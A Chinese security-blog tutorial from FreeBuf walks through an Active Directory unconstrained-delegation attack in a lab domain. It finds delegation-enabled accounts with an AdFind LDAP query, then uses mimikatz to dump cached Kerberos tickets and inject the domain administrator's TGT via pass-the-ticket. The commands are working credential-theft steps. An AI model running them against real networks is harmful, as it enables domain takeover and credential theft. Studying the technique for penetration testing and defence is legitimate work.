freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

域渗透之非约束委派攻击
渗透攻击红队 2021-08-19 11:38:07 182160

前言

域委派分为三种:

第一种:约束委派

第二种:非约束委派

第三种、资源委派

用户A去访问服务B,服务B的服务账户开启了非约束委派,那么当用户A访问服务B的时候会将用户A的TGT发送给服务B并保存进内存,服务B能够利用用户A的身份去访问用户A能够访问的任意服务

非约束委派攻击

当前域环境

域控:motoo\administrator(192.168.2.42)
域内主机(配置了非约束性委派):motoo\saulGoodman(192.168.2.40)

非约束委派

首先创建一个非约束委派账户,注册SPN

setspn -U -A MSSQLSvc/mssql.motoo.nc:1433 saul

然后需要把委派属性打开:
当服务账号或者主机被设置为非约束性委派时,其userAccountControl属性会包含TRUSTED_FOR_DELEGATION

查找域内非约束委派用户和计算机

发现域内主机主机我一般是使用LDAP,可以使用如下方式:
Adfind 下载地址:https://www.softpedia.com/get/Programming/Other-Programming-Files/AdFind.shtml

Adfind 使用参数:
AdFind [switches] [-b basedn] [-f filter] [attr list]
-b:指定要查询的根节点
-f:LDAP过滤条件
attr list:需要显示的属性

例如需要查询当前域内的非约束委派用户:

AdFind.exe -b "DC=motoo,DC=nc" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName


可以看到saul这个用户就是域内非约束委派用户!
查找非约束委派用户的工具还有很多!例如 Adfind、ldapdomaindump、PowerView ... 等等,我最常用的只有Adfind

非约束委派攻击利用


非约束委派:当user访问service1时,如果service1的服务账号开启了unconstrained delegation(非约束委派),则当user访问service1时会将userTGT发送给service1并保存在内存中以备下次重用,然后service1就可以利用这张TGTuser 的身份去访问域内的任何服务(任何服务是指user能访问的服务)
流程如下:

用户向KDC请求可转发TGT,记为TGT1

KDC返回TGT1

用户通过TGT1向KDC请求转发TGT2

KDC返回TGT2

用户通过TGT1向KDC申请访问服务1的RST

KDC返回RST

用户发送RST、TGT1、TGT2和TGT2的SessionKey给服务1

服务1通过用户的TGT2请求KDC,以用户名义请求服务2的RST(服务访问票据)

KDC给服务1返回服务2的RST

服务1以用户名义向服务2发出请求

服务2响应服务1的请求

服务1响应用户第7步骤的请求

这个流程有一个问题:TGT2是不被限制的,服务1完全可以用它来请求访问任何想访问的服务。攻击其实就是利用的这点,使用从高权限账户处得到的TGT去获取权限。

当前域:motoo.nc
域控主机名:Motoo-DCSRV(IP:192.168.2.42)、用户 motoo\administrator	(win2008)
域内主机名:Motoo-IISWEB(IP:192.168.2.40)、用户 motoo\saulGoodman   (win2012 R2)

在 Windows 系统中,只有服务账号和主机账号的属性才有委派功能,普通用户默认是没有的!
现在我们将Motoo-DBSRV这个主机用户设置为非约束委派(注意是:主机用户而不是服务用户)
Motoo-DBSRV机器上设置了非约束委派。使用dc或者域管,去登录Motoo-DBSRV,可在Motoo-DBSRV上留存票据凭证,然后需要让域控模拟访问被设置了非约束委派的机器:

Enter-PSSession -ComputerName Motoo-IISWeb

注意:如果遇到这种情况需要开启wmirm端口:(原因是wmi版本太老了,需要加-Port指定端口,老版本的wmi端口是80
使用命令行打开wmi服务:(需要管理员权限):

WinRM QuickConfig  (y)

又或者services.msc手动打开:
配置好后查看是否有回显,如果有就说明开启成功了:

winrm enumerate winrm/config/listener

域控模拟访问被设置了约束委派的机器后,这个时候其实域管理员的TGT已经缓存在Motoo-IISWeb机器上了。
先清除一下当前票据缓存:

mimikatz "privilege::debug" "kerberos::purge" "exit"

然后我们就可以使用mimikatzdump所有票据出来:

privilege::debug 
sekurlsa::tickets /export

这个时候[0;15ac7e]-2-0-40e00000-Administrator@krbtgt-MOTOO.NC.kirbi就是域管理administratorTGT
我们现在访问域控肯定是访问不了的:
这个时候就就需要通过pttTGT注入到当前会话中:

kerberos::ptt [0;15ac7e]-2-0-40e00000-Administrator@krbtgt-MOTOO.NC.kirbi

这个时候就能访问到域控了:


# 渗透测试 # 内网渗透 # 域渗透 # 内网安全 # 内网安全攻防
本文为 渗透攻击红队 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
渗透攻击红队 LV.4
微信公众号:渗透攻击红队
  • 12 文章数
  • 121 关注者
从外网 Weblogic 打进内网,再到约束委派接管域控
2021-11-12
渗透测试之内网攻防篇:使用 BloodHound 分析大型域内环境
2021-09-13
渗透测试之内网攻防篇:域森林下的信息搜集
2021-09-09
文章目录